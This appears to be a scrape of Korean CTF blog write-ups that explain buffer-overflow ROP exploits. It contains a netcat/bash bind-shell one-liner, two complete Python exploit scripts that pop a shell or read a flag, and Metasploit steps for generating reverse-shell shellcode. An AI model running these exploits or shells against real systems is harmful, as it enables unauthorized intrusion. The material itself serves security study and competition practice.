mkfifo foo
nc -lk 2600 0<foo | /bin/bash 1>foo
mkfifo foo
nc -lk 2600 0<foo | /bin/bash 1>foo
문제는 되게 단순하다.
IDA를 통해 소스를 보면 친절하게도 함수 이름을 vulnerable로 해놓은 것을 볼 수 있다.
read() 함수를 통해 할당된 버퍼의 크기보다 더 많이 읽어들여 오버플로우 취약점이 존재하는 것을 알 수 있다.
ROP로 문제를 풀면 된다.
lib.so.6 파일도 제공해주기 때문에 쉽게 문제를 풀 수 있다.
[ Exploit Code ]
from socket import *
from struct import *
from time import *
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
s = socket(AF_INET, SOCK_STREAM)
s.connect(('138.201.98.45', 4000))
read_plt = 0x8048360
read_got = 0x804a000
write_plt = 0x80483a0
offset = 0x9d8e0
bss = 0x804a020
pppr = 0x804855d
cmd = "cat flag>&1\00"
payload = ''
payload += "A"*136
payload += "B"*4
# bss
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(bss)
payload += p(len(cmd))
# leak read_addr
payload += p(write_plt)
payload += p(pppr)
payload += p(1)
payload += p(read_got)
payload += p(4)
# read -> system
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(read_got)
payload += p(4)
# system
payload += p(read_plt)
payload += "AAAA"
payload += p(bss)
print "[*] payload = %d" % len(payload)
print "[*] send payload..."
s.send(payload)
s.send(cmd)
read_addr = up(s.recv(4))
system_addr = read_addr - offset
print "[*] read_addr = 0x%x" % read_addr
print "[*] system_addr = 0x%x" % system_addr
s.send(p(system_addr))
print s.recv(4096)
[Plaid CTF 2015] EBP (0) | 2018.04.19 |
---|---|
[TJCTF 2016] oneshot (0) | 2018.02.13 |
[Defcon 26 quals 2016] feedme (0) | 2017.11.19 |
[Defcon 25 quals 2015] r0pbaby (0) | 2016.11.10 |
[Plaid CTF 2013] ropasaurusrex (0) | 2016.10.21 |
Kali linux에서 msfconsole을 입력하여 메타스플로잇을 실행한다.
msf > 가 뜨면 정상적으로 실행이 된 것이다.
show payloads 명령어를 통해 사용가능한 페이로드 목록을 볼 수 있다.
이 중에서 필요한 페이로드를 사용하면 된다.
여기서는 x86 linux용 리버스 쉘코드를 만들어보기로 하자.
use 를 사용하여 해당 페이로드를 선택해준다.
show options 를 통해 필요한 페이로드 옵션을 볼 수 있다.
필요에 맞게 페이로드 옵션을 설정해준다.
(아래와 같이 설정하게 되면 192.168.63.213:7777로 연결될 것이다.)
모든 설정이 끝난 후에 generate 를 입력하여 실행시켜주면 쉘코드가 짠!하고 나오게 된다.
[how2heap] first_fit (Use After Free) (0) | 2018.02.18 |
---|---|
64 bit 환경에서의 ELF 파일 인자 전달 방식 (0) | 2017.11.05 |
메모리 보호기법 - RELRO(Relocation Read Only) (0) | 2016.11.02 |
ASLR(Address Space Layout Randomization) 해제 (0) | 2016.10.30 |
File Descriptors (0) | 2016.10.29 |
r0pbaby_542ee6516410709a1421141501f03760
(환경 : Ubuntu 16.04, libc.so.6)
PIE와 NX 보호기법이 걸려있는 64bit ELF 파일이다.
프로그램을 실행시켜보았다.
1번에서 libc의 주소값을 얻을 수있고, 2번에서 입력한 심볼의 주소값을 얻을 수 있다.
그리고 3번에서는 설정한 크기만큼 값을 입력받게 된다.
코드를 보면 3번을 선택했을 경우 memcpy()를 통해 설정한 크기만큼 데이터를 입력받아 &savedregs에 복사하게 된다.
savedregs의 주소로 가보니 sfp와 ret가 존재하였다.
즉, 값을 8byte 이상 입력하면 sfp부터 채우게 되어 오버플로우가 발생하게 될 것이다.
크기를 16으로 지정한 뒤 값을 입력해보면 Segmentation fault가 뜨는 것을 확인할 수 있다.
ROP를 이용하여 이곳을 공략하면 된다.
64비트에서는 첫 번째 인자값을 버퍼가 아닌 레지스터 rdi에서 가져오게 된다.
(레지스터 rdi, rsi, rdx, rcx, r8, r9 순으로 파라미터 전달)
따라서 rdi에 "/bin/sh"를 넣고 system() 함수로 실행시키게 된다면 쉘이 실행될 것이다.
공격 페이로드는 다음과 같다.
"A"*8 | &"pop rdi ; ret" | &"/bin/sh" | system()
먼저 libc.so 파일을 이용해 system 함수의 offset을 구해준다.
/bin/sh 주소와 "pop rdi" 가젯은 다음과 같은 방법으로 구할 수 있다.
rp++을 사용하면 가젯을 쉽게 구할 수 있다.
필요한 값들은 다 구했으니 이제 exploit 코드를 작성하여 쉘을 획득하는 일만 남았다.
[ Exploit Code ]
from struct import *
from socket import *
from time import *
import telnetlib
p = lambda x : pack("<Q", x)
up = lambda x : unpack("<Q", x)
def get_shell(s):
t=telnetlib.Telnet()
t.sock = s
t.interact()
s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1', 3213))
system_offset = 0x45380
pop_rdi_offset = 0x21102
binsh_offset = 0x18c58b
# Get libc_addr
s.recv(1024)
s.send("2\n")
s.recv(1024)
s.send("system\n")
system_addr = int(s.recv(1024).split()[2], 16)
libc_addr = system_addr - system_offset
print "[*] system_addr 0x%x " % system_addr
print "[*] libc_addr 0x%x " % libc_addr
# Exploit
payload = ''
payload += "a"*8
payload += p(libc_addr + pop_rdi_offset)
payload += p(libc_addr + binsh_offset)
payload += p(system_addr)
s.recv(1024)
s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload+"\n")
s.send("4\n")
get_shell(s)
[Plaid CTF 2015] EBP (0) | 2018.04.19 |
---|---|
[TJCTF 2016] oneshot (0) | 2018.02.13 |
[Defcon 26 quals 2016] feedme (0) | 2017.11.19 |
[QIWI CTF 2016] PWN 200_3 (0) | 2016.12.06 |
[Plaid CTF 2013] ropasaurusrex (0) | 2016.10.21 |